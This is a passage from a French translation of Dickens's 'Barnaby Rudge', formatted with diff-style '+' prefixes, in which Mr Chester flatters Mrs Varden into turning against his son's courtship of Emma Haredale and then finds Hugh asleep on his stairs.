+nécessaire de prendre quelques mesures actives pour en finir tout
+à fait avec l'attachement de ce garçon et de cette jeune fille, et
+j'ai commencé par éloigner ces deux agents. Vous êtes surpris? qui
+peut résister à l'influence d'un peu d'or? Ils en avaient besoin,
+j'ai acheté leur départ. Nous n'avons plus rien à craindre d'eux.
+Ils sont partis.
+
+-- Partis! répéta M. Haredale; où?
+
+-- Mon cher garçon, et vous me permettrez de vous dire encore que
+vous n'avez jamais eu l'air si jeune, si positivement jouvenceau
+que ce soir, le Seigneur sait où; Colomb lui-même, je crois, en
+serait pour ses frais. Entre nous, ils ont leurs raisons cachées,
+mais sur ce point je me suis engagé au secret. Elle vous avait
+donné rendez-vous pour ce soir, je le sais; mais elle à trouvé
+qu'il y avait de l'inconvénient et qu'il lui était impossible de
+vous attendre. Voici la clef de la porte. Je crains qu'elle ne
+vous paraisse d'une grosseur assez gênante; mais comme la maison
+est à vous, votre bon naturel m'excusera, j'en suis sûr, Haredale,
+de vous donner cet embarras.»
+
+
+
+
+CHAPITRE XXVII.
+
+
+M. Haredale resta immobile dans la salle à manger de la veuve avec
+la clef de la porte à la main, regardant tour à tour M. Chester et
+Gabriel Varden, abaissant même parfois ses yeux sur la clef comme
+dans l'espoir que, de son plein gré, elle lui ferait pénétrer le
+mystère, jusqu'à ce que M. Chester, mettant son chapeau et ses
+gants, et s'informant d'une voix suave s'ils allaient dans la même
+direction, le rappela à lui-même.
+
+«Non, dit-il, nos routes sont bien opposées, énormément, comme
+vous savez. Quant à présent, je resterai ici.
+
+-- Vous allez broyer du noir, Haredale; vous allez être
+malheureux, mélancolique, profondément misérable, répliqua
+l'autre. C'est le pire endroit pour un homme de votre caractère.
+Je sais que vous y aurez la mort dans l'âme.
+
+-- Soit, dit M. Haredale en s'asseyant; donnez-vous le plaisir de
+le croire. Bonsoir!»
+
+Feignant de ne s'être pas du tout aperçu du brusque mouvement qui
+rendait cet adieu équivalent à un congé, M. Chester y répondit par
+une bénédiction aimable et bien sentie, puis il demanda à Gabriel
+de quel côté il allait.
+
+«Ce serait trop d'honneur pour un homme comme moi, que de suivre
+le même chemin que vous, repartit Gabriel en hésitant.
+
+-- Je désire que vous demeuriez ici un petit instant, Varden, dit
+M. Haredale, sans les regarder. J'ai deux mots à vous dire.
+
+-- Je ne ferai pas obstacle à votre conférence, un moment de plus,
+dit M. Chester avec une inconcevable politesse. Puisse-t-elle
+avoir pour vous deux des résultats satisfaisants! Dieu vous
+garde!»
+
+Alors il accorda au serrurier le plus resplendissant sourire, et
+les quitta.
+
+«Que voilà un raboteux personnage, se dit-il en marchant dans la
+rue, un véritable ours mal léché! c'est une atrocité qui porte
+avec soi son propre châtiment. Cet homme-là se ronge le coeur. Et
+voilà un des inestimables avantages d'avoir un parfait empire sur
+ses propres inclinations. J'ai été tenté cinquante fois pendant
+ces deux courtes entrevues de dégainer contre ce garçon. Cinq
+hommes sur six auraient cédé à leur impulsion. En reprenant la
+mienne, je lui ai fait une blessure plus profonde et plus mordante
+que si je fusse la meilleure lame de toute l'Europe, et lui la
+plus mauvaise. Vous êtes bien la dernière ressource de l'homme
+d'esprit, dit-il en tapant la garde de son épée, nous ne devons en
+appeler à vous qu'après avoir épuisé tout le reste. Si l'on
+commençait par vous dégainer, on ferait trop de plaisir à ses
+adversaires; c'est un procédé de spadassin qui n'est bon que pour
+des barbares, mais tout à fait indigne d'un homme qui a la plus
+lointaine prétention à des sentiments raffinés et délicats.»
+
+Il sourit d'une manière si agréable en se communiquant à lui-même
+ces réflexions, qu'un gueux s'enhardit à l'accompagner pour avoir
+l'aumône, et à le suivre à la piste pendant quelque temps.
+M. Chester fut charmé de cet incident, qu'il regarda comme une
+espèce d'hommage rendu au pouvoir de sa physionomie et, pour l'en
+récompenser, il voulut bien lui permettre de l'escorter jusqu'à ce
+qu'il eût appelé une chaise, alors, il le congédia gracieusement
+avec un «Dieu vous assiste!» plein de ferveur.
+
+«Cela ne coûte pas plus que de l'envoyer au diable ajouta-t-il
+judicieusement en prenant place, et cela sied mieux à la
+physionomie... À Clerkenwell, s'il vous plaît, mes bonnes
+créatures!» Paroles courtoises qui donnèrent des ailes aux
+porteurs, et les voilà partis pour Clerkenwell d'un joli petit
+trot.
+
+Mettant pied à terre à un certain endroit qu'il leur avait indiqué
+en route, et les payant un peu moins que ces braves gens ne s'y
+attendaient pour le port d'un gentleman si bien élevé, il entra
+dans la rue où habitait le serrurier et s'arrêta bientôt sous
+l'ombre de la clef d'or. M. Tappertit qui travaillait dur à la
+lumière de la lampe dans un coin de l'atelier, ne s'aperçut pas de
+la présence du visiteur jusqu'à ce qu'une main posée sur son
+épaule lui fît tourner la tête en sursaut.
+
+«L'industrie, dit M. Chester, est l'âme des affaires, et la clef
+de voûte de la prospérité. Monsieur Tappertit, j'espère bien que
+vous m'inviterez à dîner quand vous serez lord-maire de Londres.
+
+-- Monsieur, dit l'apprenti en déposant son marteau et se frottant
+le nez avec le dos d'une main couverte de suie, je méprise le
+lord-maire et tout ce qui se rattache à sa personne. Il nous
+faudra un autre état social, monsieur, avant que vous m'attrapiez
+à être lord-maire. Comment vous portez-vous, monsieur?
+
+-- Mieux encore, monsieur Tappertit, depuis que je revois votre
+figure pleine d'une honnête franchise. Vous vous portez bien,
+j'espère?
+
+-- Je me porte aussi bien, monsieur, dit Sim en se redressant pour
+rapprocher de l'oreille du gentleman un rauque chuchotement, que
+peut se porter un homme sous l'empire des vexations auxquelles je
+suis exposé. La vie m'est à charge. Si ce n'était l'espoir de la
+vengeance, je jouerais ma vie à pile ou face en un coup.
+
+-- Mme Varden est-elle céans? dit M. Chester.
+
+-- Monsieur, répliqua Sim, en lui lançant une oeillade d'une
+expression concentrée, elle y est. Souhaitez-vous de la voir?»
+
+M. Chester fit un signe affirmatif.
+
+«Alors venez par ici, monsieur, dit Sim en s'essuyant le visage
+sur un tablier de cuir; suivez-moi, monsieur. Voulez-vous me
+permettre de vous chuchoter à l'oreille un tout petit mot?
+
+-- Certainement.»
+
+M. Tappertit se haussa sur la pointe du pied, appliqua ses lèvres
+à l'oreille de M. Chester, retira sa tête sans dire quoi que ce
+soit, le regarda fixement, appliqua derechef ses lèvres à
+l'oreille de l'autre, retira encore sa tête, et finit par
+chuchoter:
+
+«Son nom est Joseph Willet. Chut! je ne vous en dis pas
+davantage.»
+
+Ayant dit tout cela, il fit signe au visiteur de le suivre à la
+porte de la salle à manger, où il l'annonça du ton d'un huissier
+du roi:
+
+«M. Chester, et non pas M. Édouard, remarquez bien,» dit Sim, en
+jetant un nouveau coup d'oeil dans la salle, et ajoutant en guise
+de post-scriptum de son cru: «C'est son père.
+
+-- Mais pourtant, que son père, dit M. Chester en s'avançant le
+chapeau à la main, lorsqu'il eut remarqué l'effet de cette
+dernière explication, que son père ne vous dérange ni ne vous gêne
+en rien dans vos occupations domestiques, mademoiselle Varden.
+
+-- Ah! bon, maintenant. N'est-ce pas ce que je dis toujours?
+s'écria Miggs en claquant des mains. Il a pris madame pour sa
+propre fille. Vraiment oui, qu'elle en a tout l'air, c'est un
+fait. Rappelez-vous seulement ce que je vous disais, mame!
+
+-- Est-il possible, dit M. Chester de son accent le plus divin,
+que j'aie l'honneur de parler à madame Varden? je suis confondu.
+Cette jeune personne n'est pas votre fille, madame Varden? ce
+n'est pas possible. C'est votre soeur.
+
+-- C'est ma fille, monsieur, en vérité, répliqua Mme Varden en
+rougissant d'une façon toute juvénile.
+
+-- Ah! madame Varden! cria le visiteur. Ah! madame, on n'a certes
+pas à se plaindre de son lot, quand on a l'avantage de se
+reproduire dans ses enfants sans cesser d'être aussi jeune qu'eux.
+Vous permettrez que je vous embrasse, comme cela se fait à la
+campagne, ma chère madame, et votre fille également.»
+
+Dolly montra quelque répugnance à accomplir cette cérémonie; mais
+elle fut vertement gourmandée par Mme Varden, qui insista pour
+qu'elle ne se fît pas prier, et «dépêchons.» Car l'orgueil, dit-
+elle avec une grande sévérité, était l'un des sept péchés mortels,
+tandis que l'humilité de coeur était une vertu. C'est pourquoi
+elle voulut que Dolly se laissât embrasser immédiatement, sous
+peine de lui causer un juste déplaisir; elle insinua en même temps
+que tout ce qu'elle voyait faire à sa mère, elle pouvait le faire
+elle-même en toute sûreté de conscience, sans se donner la peine
+de raisonner ni de réfléchir sur ce sujet: ce qui serait
+d'ailleurs un manque de respect, et par conséquent une
+contravention directe au catéchisme de l'Église établie.
+
+Ainsi admonestée, Dolly s'exécuta, quoique pas du tout volontiers,
+car il y avait sur la figure de M. Chester un regard admiratif
+trop prononcé, bien qu'une exquise politesse cherchât à en amortir
+la hardiesse, et ce regard la mettait fort mal à son aise. Comme
+elle se tenait les yeux baissés, ne se souciant pas de les lever
+et de rencontrer ceux du gentleman, il la considéra d'un air
+approbatif, puis se tournant vers la mère:
+
+«Mon ami Gabriel (dont je n'ai fait la connaissance que ce soir
+même) doit être un heureux homme, madame Varden.
+
+-- Ah! soupira Mme Varden en secouant sa tête.
+
+-- Ah! répéta Miggs comme un écho.
+
+-- Est-il possible? dit M. Chester avec compassion. Ah! mon Dieu!
+qu'est-ce que vous me dites là?
+
+-- Le bourgeois serait bien fâché, monsieur, murmura Miggs en se
+rapprochant de guingois du côté de M. Chester, de ne pas se
+montrer aussi reconnaissant que sa nature le lui permet pour tout
+ce qu'il peut apprécier dans le mérite des personnes qui lui
+appartiennent. Mais, vous savez, monsieur, dit Miggs en regardant
+latéralement Mme Varden et entrelaçant son discours d'un soupir,
+nous ne connaissons quelquefois tout le prix de notre _vigne_ et
+de notre _figuier_[25] que quand nous les avons perdus. Tant pis
+pour ceux qui en font fi, monsieur, et qui ont ce tort sur leurs
+consciences, quand les fruits sont allés s'épanouir ailleurs.» Et
+Mlle Miggs leva les yeux en l'air, pour indiquer où cela pouvait
+être.
+
+Comme Mme Varden entendait distinctement tout ce que disait Miggs
+à l'intention de sa maîtresse, et que ces mots semblaient
+présenter en termes métaphoriques un présage ou une prédiction, et
+lui annoncer que, à une période quelconque mais prématurée, elle
+s'affaisserait sous ses épreuves, et fuirait d'un facile essor
+vers les astres, elle commença aussitôt à devenir languissante,
+et, prenant sur une table voisine un volume du _Manuel
+protestant_, elle y appuya son bras comme si elle eût été
+l'Espérance et ce livre son ancre. M. Chester s'en apercevant, et
+voyant sur le dos du volume le titre de l'ouvrage, le lui retira
+doucement des mains et en tourna les feuillets légers.
+
+«Mon livre favori, chère madame. Que de fois, oui, que de fois
+dans son plus jeune âge, à une époque antérieure à ses souvenirs
+(cette clause était strictement vraie), j'ai tiré de petites
+leçons de morale facile des pages de mon Manuel pour mon cher fils
+Ned! Vous connaissez Ned?»
+
+Mme Varden dit qu'elle avait cet honneur, et que c'était un beau
+et gracieux jeune homme.
+
+«Vous êtes mère, madame Varden, dit M. Chester en prenant une
+prise de tabac, et vous savez ce que je ressens, moi son père,
+lorsqu'on en fait l'éloge. Il me cause quelque peine, beaucoup de
+peine, il est d'une nature vagabonde, madame; il voltige de fleur
+en fleur, de douce amie en douce amie mais à l'âge qu'il a, on
+peut être papillon, et il ne nous faut pas être sévères pour de
+pareilles bagatelles.»
+
+Il regarda Dolly. Elle était tout oreilles C'était justement ce
+qu'il désirait.
+
+«La seule chose que je trouve à redire dans ce petit trait de
+caractère chez Ned, dit M. Chester et la mention de son nom me
+remémore, en passant, que j'ai à vous demander la faveur d'une
+minute d'entretien particulier, la seule chose que j'y trouve à
+redire, c'est qu'il y a là un défaut de sincérité. Or, j'ai beau
+m'efforcer de déguiser le fait à mes propres yeux, par suite de
+mon affection pour Ned, il n'en est pas moins vrai que j'en
+reviens toujours à dire que si nous ne sommes pas sincères, nous
+ne sommes rien... rien sur terre. Soyons sincères, ma chère
+madame.
+
+-- Et protestants, murmura Mme Varden.
+
+-- Et protestants par-dessus toutes choses. Soyons sincères et
+protestants, strictement moraux, strictement justes (quoique
+toujours en inclinant vers l'indulgence), strictement honnêtes et
+strictement vrais, et nous y gagnons. C'est un faible point, sans
+doute mais encore est-ce quelque chose de palpable, nous y gagnons
+de jeter les assises, et pour ainsi parler, les fondements solides
+sur lesquels il nous est possible plus tard d'élever quelque bel
+édifice.
+
+-- Voilà, certainement, pensa Mme Varden, voilà un parfait modèle
+d'honnêteté, voilà un homme plein de douceur et de droiture, un
+chrétien accompli. Après avoir conquis ces qualités si difficiles
+à acquérir, après avoir attrapé toutes les vertus cardinales en
+leur mettant un grain de sel sur la queue, il n'y attache pas plus
+d'importance qu'à rien du tout, il a l'air de ne pas savoir
+seulement la valeur de ces trésors précieux.»
+
+Car la bonne dame ne douta pas (c'est toujours comme cela que font
+les bonnes dames, et, en général, les bonnes gens), qu'il ne
+fallût prendre au mot ces déclarations du mépris qu'on fait de
+soi-même, ce peu de valeur qu'on accorde à de grandes choses qu'on
+possède, cet air de dire: «Je ne suis pas orgueilleux, je suis ce
+que vous voyez, mais je ne me crois pas pour cela meilleur que les
+autres; changeons de conversation, je vous prie.» Au reste, il
+vous avait inventé cela, et il vous l'avait débité avec tant de
+modestie, qu'il avait l'air de ne pas pouvoir s'en empêcher, ce
+qui en rendait l'effet plus merveilleux encore.
+
+S'apercevant de l'impression qu'il avait faite (il n'y avait
+personne comme lui pour s'en rendre compte), M. Chester redoubla
+ses coups en avançant certaines maximes vertueuses, quelque peu
+vagues et générales, sans doute, qui avaient bien parfois le
+cachet de ces vérités banales et usées qui montrent la corde, mais
+énoncées d'une voix si charmante, et avec un calme d'esprit et une
+sérénité si rares, qu'elles atteignaient le même but que si elles
+eussent été des plus saisissantes. Et il n'y a pas à s'en étonner:
+car, de même qu'un vase creux produit, en tombant, un son bien
+plus musical que ceux qui sont pleins et solides, ainsi l'on
+trouve souvent que des opinions vides et creuses sont celles qui
+retentissent le mieux dans le monde, et sont les plus goûtées.
+
+M. Chester, tenant d'une main le volume mollement étendu, et
+laissant l'autre légèrement plantée sur sa poitrine, parla de la
+façon la plus délicieuse, et enchanta tout à fait ses divers
+auditeurs, en dépit de la lutte de leurs intérêts et de leurs
+pensées. Même Dolly, qui, entre le regard perçant de M. Chester et
+l'oeillade fascinatrice de M. Tappertit, était toute
+décontenancée, ne put pas s'empêcher d'avouer au dedans de soi
+qu'elle n'avait jamais vu de gentleman doué d'une parole aussi
+emmiellée que celui-là. Même Mlle Miggs, qui était partagée entre
+son admiration pour M. Chester et la jalousie mortelle que lui
+inspirait sa jeune maîtresse, eut le loisir de s'apaiser. Même
+M. Tappertit, quoique occupé, comme nous l'avons dit, à contempler
+les délices de son coeur, ne put pas complètement soustraire ses
+pensées à la voix de l'autre enchanteur. Quant à Mme Varden, selon
+son opinion personnelle et intime, elle n'avait jamais autant
+profité de sa vie ni de ses jours, et lorsque M. Chester, se
+levant et sollicitant la permission de l'entretenir en
+particulier, lui eut offert la main et l'eut conduite en haut dans
+le grand salon, à longueur de bras, elle le considéra presque
+comme un être surhumain.
+
+«Chère madame, dit-il en pressant délicatement la main de sa dame
+sur ses lèvres, veuillez vous asseoir.»
+
+Mme Varden prit tout à fait un air de cour et s'assit.
+
+«Vous soupçonnez mon dessein? dit M. Chester en tirant une chaise
+vers elle; vous devinez mon but? Je suis un père plein de
+tendresse, ma chère madame Varden.
+
+-- J'en suis bien sûre, monsieur, dit Mme Varden.
+
+-- Je vous remercie, répliqua M. Chester en tapant le couvercle de
+sa tabatière. Les pères et les mères ont de lourdes
+responsabilités morales, madame Varden.»
+
+Mme Varden leva légèrement ses mains, secoua sa tête, et regarda
+le plancher, comme si elle plongeait tout droit ses yeux au
+travers du globe, d'un bout à l'autre, et dans l'immensité de
+l'espace au delà.
+
+«Je peux me fier à vous, dit M. Chester, m'y fier sans réserve.
+J'aime mon fils, madame, avec tendresse; et, l'aimant comme je
+fais, je voudrais le sauver d'une misère certaine. Vous savez
+quelque chose de son attachement pour Mlle Haredale. Vous l'avez
+favorisé, et il y avait beaucoup de bonté de votre part à le
+faire. Je vous suis très obligé, profondément obligé, de l'intérêt
+que vous avez témoigné à son égard; mais, ma chère madame, vous
+vous êtes méprise, je vous assure.»
+
+Mme Varden balbutia qu'elle était fâchée.
+
+«Fâchée, ma chère madame? répondit-il en l'interrompant. Ne soyez
+nullement fâchée d'une chose si aimable, si bonne dans
+l'intention, si parfaitement digne de vous. Mais il y a de graves
+et fortes raisons, de pressantes considérations de famille, et
+même, en les écartant, des difficultés dans la différence de
+religion, qui se mettent en travers de leurs sentiments, et
+rendent leur union impossible, tout à fait impossible. J'aurais
+exposé ces circonstances à votre mari; mais il n'a pas, vous
+m'excuserez de parler si franchement, il n'a pas votre vivacité à
+saisir les choses, ni votre profondeur de sens moral... Que cette
+maison-ci a un aspect agréable, et qu'elle est admirablement
+tenue! Pour un homme comme moi, veuf depuis si longtemps, ces
+marques du soin et de la surveillance d'une femme ont des charmes
+inexprimables.»
+
+Mme Varden commença à penser (sans trop savoir pourquoi), que
+M. Chester fils devait avoir tort, et que M. Chester père devait
+avoir raison.
+
+«Mon fils Ned, reprit le tentateur, de son air le plus séduisant,
+a eu, m'a-t-on dit, l'aide de votre aimable fille, et de votre
+mari, un homme franc comme l'or.
+
+-- Beaucoup plus que la mienne, monsieur, dit Mme Varden,
+infiniment plus. J'ai eu souvent mes doutes. C'est un...
+
+-- Un mauvais exemple, suggéra M. Chester. «Oui, c'en est un. Il
+n'y a pas de doute là-dessus, c'en est un. Votre fille est d'âge à
+ce qu'on doive éviter de mettre sous ses yeux un encouragement
+pour des jeunes gens à se révolter contre leurs parents sur un
+point de la plus haute importance; c'est un acte tout à fait
+imprudent. Vous avez parfaitement raison. J'aurais dû y songer
+moi-même; mais cela m'a échappé, je le confesse, tant votre sexe
+est supérieur au nôtre, chère madame, sous le rapport de la
+pénétration et de la sagacité.»
+
+Mme Varden prit un air aussi avisé que si elle eût réellement dit
+quelque chose qui méritât ce compliment; elle finit par en avoir
+la conviction, et sa foi dans sa propre habileté s'en accrut
+considérablement.
+
+«Ma chère madame, dit M. Chester, vous m'enhardissez à vous parler
+franchement: mon fils et moi nous sommes en désaccord sur cet
+article; la jeune demoiselle et son tuteur le sont également.
+Bref, pour conclure, mon fils est obligé, au nom de ses devoirs
+envers moi, de son honneur, des liens les plus solennels, d'en
+épouser une autre.
+
+-- Il a pris l'engagement d'épouser une autre demoiselle? dit
+Mme Varden en levant ses mains.
+
+-- Ma chère madame, il a été élevé, instruit, formé expressément
+dans cette vue, expressément dans cette vue. Mlle Haredale, m'a-t-
+on dit, est une très charmante créature?
+
+-- Je l'ai nourrie, je dois la connaître; c'est la meilleure
+demoiselle que je connaisse, dit Mme Varden.
+
+-- Je n'ai pas là-dessus le moindre doute, elle l'est, j'en suis
+sûr. Et vous, qui avez eu ces tendres relations avec elle, vous
+n'en êtes que plus obligée de consulter son bonheur. Maintenant
+puis-je, moi, comme je l'ai dit à Haredale, qui en tombe d'accord,
+puis-je être là, et souffrir qu'elle se jette (bien qu'elle soit
+d'une famille catholique) dans les bras d'un jeune homme qui,
+quant à présent, n'a pas du tout de sentiments du coeur? Ce n'est
+pas lui faire de tort que de dire qu'il n'en a pas, car les jeunes
+gens qui se sont plongés au fond des frivolités et des habitudes
+convenues de la société, en ont très rarement. Le coeur ne leur
+pousse jamais, ma chère madame, qu'après la trentaine; je ne crois
+pas, non, je ne crois pas que j'eusse moi-même un coeur quand
+j'étais à l'âge de Ned.
+
+-- Oh! monsieur, dit Mme Varden, je pense que vous devez en avoir
+eu un; vous en avez trop aujourd'hui pour n'en avoir pas toujours
+eu.
+
+-- J'aime à espérer, répondit-il en haussant les épaules avec
+humilité, que j'en ai eu un peu, un tout petit peu, le ciel le
+sait! Mais, pour en revenir à Ned, je ne doute pas que vous n'ayez
+pensé, quand vous avez eu la bonté de vous entremettre en sa
+faveur, que je ne rendais pas justice à Mlle Haredale, c'est bien
+naturel! Mais point du tout, ma chère madame, c'est contre lui,
+contre lui seul que portent mes objections. Je le répète
+énergiquement, contre Ned lui-même.»
+
+Mme Varden resta ébahie de cette révélation.
+
+«Il a, s'il remplit en homme d'honneur l'engagement solennel dont
+je vous ai parlé (et il faut qu'il soit un homme d'honneur, ma
+chère madame Varden, ou il ne serait pas mon fils), une fortune
+sous la main. Avec ses habitudes dispendieuses, ruineuses, si,
+dans un moment de caprice et d'entêtement, il épousait cette jeune
+demoiselle et se privait par là des moyens de contenter les goûts
+auxquels il a été si longtemps accoutumé, il briserait, ma chère
+madame, le coeur de cette douce créature. Madame Varden, ma bonne
+dame, ma chère âme, je m'en rapporte à vous: est-ce là un
+sacrifice qu'il faille souffrir? le coeur d'une femme est-il une
+chose à laisser traiter d'une façon si légère? Interrogez le
+vôtre, ma chère madame, interrogez le vôtre, je vous en supplie.
+
+-- Vraiment, pensa Mme Varden, ce gentleman est un saint. Mais,
+ajouta-t-elle à haute voix et bien naturellement, si vous ôtez à
+Mlle Emma celui qu'elle aime, que deviendra donc, monsieur, le
+coeur de cette pauvre jeune fille?
+
+-- C'est juste le point, dit M. Chester sans être du tout
+déconcerté, où je désirais vous amener. Un mariage avec mon fils,
+que je serais contraint de désavouer, n'aurait d'autre suite que
+des années de misère, ils se sépareraient, ma chère madame, au
+bout d'un an. Rompre cet attachement, qui est plus imaginaire que
+réel, comme vous et moi le savons très bien, coûtera seulement
+quelques larmes à cette chère enfant; mais cela ne l'empêchera pas
+d'être heureuse après. Jugez-en par le cas de votre propre fille,
+la jeune demoiselle qui est en bas, votre vivante image.»
+Mme Varden toussa et sourit ingénument. «Il y a un jeune homme (je
+suis fâché de le dire, un garçon débauché, d'une réputation très
+médiocre) dont j'ai entendu parler à mon fils Ned. Il s'appelle
+Boulet, Poulet ou Mollet.
+
+-- Je connais un jeune homme appelé Joseph Willet, monsieur, dit
+Mme Varden en croisant ses mains avec dignité.
+
+-- C'est cela, cria M. Chester. Supposez que ce Joseph Willet
+voulût aspirer aux affections de votre charmante fille, et fît
+tout ce qu'il pourrait pour y réussir.
+
+-- Il faudrait qu'il eût une fière impudence, interrompit
+Mme Varden, d'oser penser à pareille chose!
+
+-- Ma chère madame, c'est exactement le même cas; ce serait une
+grande impudence, et voilà l'impudence que je reproche à Ned. Mais
+vous ne voudriez pas pour cela, j'en suis sûr, dût-il en coûter
+quelques larmes à votre fille, vous abstenir d'étouffer leurs
+inclinations naissantes; c'est ce que j'aurais voulu dire à votre
+mari quand je l'ai vu ce soir chez Mme Rudge...
+
+-- Mon mari, dit Mme Varden en interrompant avec émotion, ferait
+beaucoup mieux de rester à la maison que d'aller chez Mme Rudge si
+souvent. Je ne sais ce qu'il va faire là. Je ne sais pas quel
+motif il peut avoir, monsieur, de se mêler du tout des affaires de
+Mme Rudge.
+
+-- Si je ne vous parais pas exprimer mon adhésion aux sentiments
+que vous venez de manifester, répliqua M. Chester, tout à fait
+avec autant de force que vous le souhaiteriez peut-être, c'est
+parce que je dois à sa présence en ce lieu, ma chère madame, et à
+son peu de goût pour la conversation, d'être venu ici vous trouver
+vous-même; c'est ce qui m'a procuré le bonheur de cet entretien
+avec une personne dans laquelle sont concentrées, à ce que je
+vois, l'entière direction, la conduite et la prospérité de la
+famille.»
+
+Cela dit, il reprit la main de Mme Varden, et l'ayant pressée sur
+ses lèvres avec la suprême galanterie du jour, un peu chargée,
+pour qu'elle frappât davantage les yeux inaccoutumés de la bonne
+dame, il continua, en employant le même mélange de sophismes et de
+cajoleries, à la supplier de faire tout son possible pour que son
+mari et sa fille n'aidassent plus Édouard dans sa recherche de la
+main de Mlle Haredale, et ne favorisassent plus, par aucune
+démarche, l'un ou l'autre des deux jeunes gens. Mme Varden n'était
+qu'une femme, et elle avait sa part de vanité, d'obstination,
+d'amour du pouvoir. Elle signa donc un traité d'alliance offensive
+et défensive avec son insinuant visiteur; et réellement elle crut,
+comme eussent fait beaucoup d'autres qui le voyaient et
+l'entendaient, qu'en agissant ainsi elle poussait de toutes ses
+forces au progrès de la vérité, de la justice et de la moralité.
+
+Plein de joie du succès de sa négociation, et singulièrement amusé
+dans son for intérieur, M. Chester la conduisit en bas avec les
+mêmes cérémonies, puis, sans oublier la plus agréable, celle de
+l'embrassade, y compris encore Dolly, il se retira, non sans avoir
+complété la conquête du coeur de Mlle Miggs, en demandant si
+«cette jeune demoiselle» voudrait bien l'éclairer jusqu'à la
+porte.
+
+«Oh! mame, dit Miggs, lorsqu'elle revint avec la chandelle; oh!
+miséricorde, mame, en voilà un gentleman! Y a-t-il jamais eu un
+ange pour parler comme lui? et un homme qui a l'air si avenant, si
+droit et si noble qu'il semble mépriser le sol même sur lequel il
+marche; et cependant d'une douceur et d'une condescendance si
+grandes qu'il semble dire: «N'ayez pas peur: je ne lui ferai pas
+de mal.» Et penser qu'il vous prend pour Mlle Dolly, et qu'il
+prend Mlle Dolly pour votre soeur! Oh, bonté divine! si j'étais le
+bourgeois, croyez-vous que je ne serais pas jaloux?»
+
+Mme Varden blâma sa servante de ces paroles légères; mais
+doucement, très doucement, d'une manière tout à fait souriante en
+vérité; remarquant, pour l'excuser, que c'était une fille un peu
+folle, étourdie, une tête légère, dont l'humeur vive l'emportait
+au delà des bornes, et qui ne pensait pas la moitié de ce qu'elle
+disait; que, sans cela, elle se fâcherait contre elle.
+
+«Pour ma part, dit Dolly d'un air pensif, je suis bien tentée de
+croire que M. Chester ressemble un peu à Miggs sous ce rapport.
+Avec toute sa politesse et son beau langage, je suis presque sûre
+qu'il se moquait de nous, et tout du long.
+
+-- Si vous vous hasardez à dire encore chose pareille, et à parler
+mal des gens derrière leur dos en ma présence, mademoiselle, dit
+Mme Varden, j'exigerai que vous preniez une lumière pour aller
+vous coucher tout de suite. Comment osez-vous, Dolly? Vous
+m'étonnez. Toute votre conduite ce soir a été d'une rudesse
+choquante. A-t-on jamais entendu, cria la matrone furieuse et
+fondant en larmes, une fille dire à sa mère qu'on se moquait
+d'elle?»
+
+Il faut avouer que Mme Varden justifiait bien sa réputation
+d'avoir une humeur incertaine.
+
+
+
+
+CHAPITRE XXVIII.
+
+
+Lorsqu'il eut quitté la maison du serrurier, M. Chester se rendit
+à un café distingué dans Covent-Garden, et y resta longtemps assis
+à prolonger son dîner, s'égayant excessivement des souvenirs
+amusants de sa récente visite, et se félicitant du succès de son
+insigne adresse. Grâce à l'influence de ses pensées, sa figure
+avait une expression si bénigne et si tranquille, que le garçon
+chargé particulièrement du service de sa table se sentait presque
+capable de mourir pour sa défense, et se mit dans la tête (il en
+fut désabusé au reçu du montant de la carte, où il n'eut pour prix
+de toutes les peines qu'il s'était données qu'une gratification
+d'un penny) qu'un chaland si apostolique valait une demi-douzaine
+au moins de dîneurs ordinaires.
+
+Une visite à la table de jeu, non pas en étourdi qui risque gros
+pour satisfaire à l'ardeur qui l'emporte, mais en homme sage et
+posé qu'on a plaisir à voir sacrifier l'enjeu de ses deux ou trois
+écus pour condescendre aux folies de la société et sourire avec
+une égale bienveillance au gain et à la perte, fut cause qu'il ne
+rentra chez lui qu'à une heure avancée. Il avait l'habitude de
+dire à son domestique d'aller se coucher quand il voudrait, à
+moins d'un ordre contraire, et de laisser seulement une bougie sur
+l'escalier. Au palier était une lampe où il pouvait toujours
+l'allumer lorsqu'il revenait tard, et, comme il avait sur lui une
+clef de la porte, il pouvait rentrer et se coucher à l'heure qu'il
+voulait.
+
+Il ouvrit le verre de la sombre lampe, dont la mèche, presque
+toute embrasée et enflée comme le nez d'un ivrogne, s'envolait en
+petites escarboucles au toucher de la chandelle, et, répandant
+tout autour d'ardentes étincelles, rendait assez difficile
+l'opération d'allumer le paresseux flambeau, quand un bruit,
+semblable au ronflement profond d'un homme endormi quelques
+marches au-dessus, tint en suspens M. Chester et le fit écouter.
+C'était bien la forte respiration d'un homme qui dormait là, tout
+contre. Un individu s'était couché sur l'escalier même, et y
+dormait solidement. Après avoir allumé enfin la chandelle et
+ouvert sa porte, le gentleman monta doucement, en tenant le
+flambeau élevé sur sa tête et regardant avec précaution alentour,
+curieux de voir quelle espèce d'homme avait choisi pour son gîte
+un abri si peu confortable.
+
+Sa tête sur le palier supérieur et ses grands membres étendus sur
+une demi-douzaine de marches, aussi négligemment qu'un cadavre
+jeté la par des croque-morts en goguette, gisait Hugh, son visage
+en l'air, sa longue chevelure éparpillée comme une algue sauvage
+sur son oreiller de bois avec sa large poitrine haletante dont le
+bruit troublait ce lieu à cette heure d'une manière si
+inaccoutumée.
+
+Le gentleman, qui s'attendait peu à le voir là, allait interrompre
+son repos en le poussant du pied, lorsque, au moment de le faire,
+un coup d'oeil sur le visage tourné vers lui l'arrêta. Se baissant
+donc et ombrageant de sa main la bougie, il examina les traits du
+dormeur, mais, de si près qu'il les eût examinés, cela ne lui
+suffit pas, car il passa et repassa sur la figure de cet homme la
+lumière couverte encore avec plus de soin, pour observer l'inconnu
+d'un oeil plus pénétrant.
+
+Tandis qu'il était tout entier à cet examen, le dormeur, sans
+tressaillir, sans se tourner même, se réveilla. Il y eut dans la
+rencontre soudaine de son fixe regard une espèce de fascination
+qui ôta à l'observateur la présence d'esprit de retirer ses yeux,
+et l'obligea en quelque sorte de soutenir les yeux de l'autre. Ils
+restèrent ainsi à se considérer avec un étonnement réciproque,
+jusqu'à ce que M. Chester rompit enfin le silence, et lui demanda
+à voix basse pourquoi il était venu coucher là.
+
+«Il me semblait, dit Hugh, en s'efforçant de se mettre sur son
+séant et continuant à fixer sur lui un regard prolongé, que vous
+faisiez partie de mon rêve. Un rêve curieux, ma foi; j'espère
+qu'il ne se réalisera jamais, maître.
+
+-- D'où vient que vous frissonnez?
+
+-- C'est le froid, je suppose, grogna-t-il en se secouant et se
+levant. Je ne sais pas encore bien où j'en suis.
+
+-- Est-ce que vous ne me reconnaissez pas? dit M. Chester.
+
+-- Oh que si, je vous reconnais bien, répliqua-t-il. Je rêvais de
